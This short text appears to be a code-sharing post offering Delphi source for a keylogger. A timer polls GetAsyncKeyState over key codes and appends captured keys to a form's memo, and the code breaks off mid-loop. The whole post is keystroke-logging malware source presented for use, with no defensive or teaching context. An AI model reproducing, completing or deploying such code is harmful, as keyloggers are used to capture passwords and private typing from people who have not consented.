Keyloger Code By Delphi
no vote
procedure Send(x : string);
begin
form1.Memo1.Lines.Add(x)
end;
procedure TForm1.Timer1Timer(Sender: TObject);
//begin
//if GetAsyncKeyState(Ord('A'))= -32767 then send('A');
//if GetAsyncKeyState(Ord('B'))= -32767 then send('B');
var X,y:integer;
f:char ;
str:string;
begin
For X:=0 to 255 do